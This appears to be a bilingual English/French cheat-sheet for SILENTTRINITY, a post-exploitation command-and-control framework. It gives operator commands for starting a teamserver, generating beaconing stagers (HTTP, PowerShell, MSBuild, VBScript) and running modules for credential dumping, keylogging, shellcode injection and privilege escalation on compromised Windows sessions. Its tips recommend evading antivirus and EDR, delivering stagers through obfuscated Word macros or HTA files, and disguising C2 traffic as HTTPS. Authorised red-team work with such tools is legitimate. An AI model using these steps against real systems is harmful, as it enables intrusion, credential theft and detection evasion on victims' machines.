silenttrinity

Framework C2 de post-exploitation basé sur Python/IronPython. Utilise .NET et IronPython pour exécuter des payloads en mémoire sur des cibles Windows : échappe aux AV en exécutant des stagers Python entièrement dans le runtime .NET. Python/IronPython-based post-exploitation C2 framework. Uses .NET and IronPython to execute in-memory payloads on Windows targets — evades AV by running Python-based stagers entirely in .NET runtime.

↗ https://github.com/byt3bl33d3r/SILENTTRINITY

Overview

SILENTTRINITY is a post-exploitation C2 framework that leverages IronPython and the .NET DLR (Dynamic Language Runtime) to run Python-based payloads entirely in memory. Its unique approach avoids common AV/EDR signatures by using .NET’s scripting capabilities.

Installation

# Clone the repository
git clone https://github.com/byt3bl33d3r/SILENTTRINITY
cd SILENTTRINITY
pip3 install -r requirements.txt

Starting the Teamserver

Start the C2 server

python3 st.py teamserver 0.0.0.0 PASSWORD
# Default port: 5000 (WebSocket)
# Access via the client

Client Connection

Connect to teamserver

python3 st.py client wss://TEAMSERVER_IP:5000

With SSL certificate

python3 st.py client wss://TEAMSERVER_IP:5000 --cert ca.pem

Generating Stagers

In the SILENTTRINITY client:

st > stagers

List available stagers

st (stagers) > list
# Generate an HTTP stager
st (stagers) > use http
st (stagers)(http) > generate http://TEAMSERVER:PORT

# Common stager types:
# http    — HTTP beacon
# https   — HTTPS beacon
# wscript — VBScript stager
# powershell — PS stager
# msbuild — MSBuild XML stager

Modules

# List available modules
st > modules
st (modules) > list

# Common modules:
# boo/whoami           — current user info
# boo/seatbelt         — situational awareness
# boo/mimikatz         — credential dumping
# boo/sharpup          — privilege escalation
# boo/screenshot       — capture screen
# boo/keylogger        — keylogger
# boo/shellcode_inject — shellcode injection

# Run a module on a session
st (modules) > use boo/whoami
st (modules)(whoami) > run SESSION_ID

Session Management

# List active sessions
st > sessions
st (sessions) > list

Interact with a session

st (sessions) > interact SESSION_ID
# Run command
st (sessions)(SESSION_ID) > shell whoami
st (sessions)(SESSION_ID) > shell ipconfig /all

Tips

  • IronPython execution leaves minimal .NET artifacts — harder to detect than PowerShell
  • All modules are written in Boo (a .NET scripting language) — run in CLR without touching disk
  • Combine with obfuscated stager delivery (Word macro, HTA, etc.)
  • The WebSocket C2 channel can blend into HTTPS traffic with a valid cert
  • For modern environments with EDR, pair with additional obfuscation layers
Help / Man page
SILENTTRINITY components:

Teamserver:
  python3 st.py teamserver BIND_ADDR PASSWORD [--port N]

Client:
  python3 st.py client wss://HOST:PORT

Client commands:
  stagers   — manage stager generation
  listeners — manage C2 listeners
  modules   — available post-ex modules
  sessions  — manage active sessions
  teamservers — connected teamservers

Vue d’ensemble

SILENTTRINITY est un framework C2 de post-exploitation qui s’appuie sur IronPython et le DLR (Dynamic Language Runtime) .NET pour exécuter des payloads basés sur Python entièrement en mémoire. Son approche originale évite les signatures AV/EDR courantes en utilisant les capacités de script de .NET.

Installation

# Cloner le dépôt
git clone https://github.com/byt3bl33d3r/SILENTTRINITY
cd SILENTTRINITY
pip3 install -r requirements.txt

Démarrer le teamserver

# Démarrer le serveur C2
python3 st.py teamserver 0.0.0.0 PASSWORD
# Port par défaut : 5000 (WebSocket)
# Accès via le client

Connexion du client

# Se connecter au teamserver
python3 st.py client wss://TEAMSERVER_IP:5000

# Avec certificat SSL
python3 st.py client wss://TEAMSERVER_IP:5000 --cert ca.pem

Génération de stagers

Dans le client SILENTTRINITY :

st > stagers
# Lister les stagers disponibles
st (stagers) > list
# Générer un stager HTTP
st (stagers) > use http
st (stagers)(http) > generate http://TEAMSERVER:PORT

# Types de stagers courants :
# http    : beacon HTTP
# https   : beacon HTTPS
# wscript : stager VBScript
# powershell : stager PS
# msbuild : stager MSBuild XML

Modules

# Lister les modules disponibles
st > modules
st (modules) > list

# Modules courants :
# boo/whoami           : infos sur l'utilisateur actuel
# boo/seatbelt         : reconnaissance de situation
# boo/mimikatz         : dump d'identifiants
# boo/sharpup          : élévation de privilèges
# boo/screenshot       : capture d'écran
# boo/keylogger        : keylogger
# boo/shellcode_inject : injection de shellcode

# Lancer un module sur une session
st (modules) > use boo/whoami
st (modules)(whoami) > run SESSION_ID

Gestion des sessions

# Lister les sessions actives
st > sessions
st (sessions) > list
# Interagir avec une session
st (sessions) > interact SESSION_ID
# Lancer une commande
st (sessions)(SESSION_ID) > shell whoami
st (sessions)(SESSION_ID) > shell ipconfig /all

Conseils

  • L’exécution IronPython laisse peu de traces .NET : plus difficile à détecter que PowerShell
  • Tous les modules sont écrits en Boo (un langage de script .NET) : exécutés dans le CLR sans toucher le disque
  • Combiner avec une livraison de stager obfusquée (macro Word, HTA, etc.)
  • Le canal C2 WebSocket peut se fondre dans le trafic HTTPS avec un certificat valide
  • Pour les environnements modernes avec EDR, associer à des couches d’obfuscation supplémentaires
Aide / Page de manuel
SILENTTRINITY components:

Teamserver:
  python3 st.py teamserver BIND_ADDR PASSWORD [--port N]

Client:
  python3 st.py client wss://HOST:PORT

Client commands:
  stagers   — manage stager generation
  listeners — manage C2 listeners
  modules   — available post-ex modules
  sessions  — manage active sessions
  teamservers — connected teamservers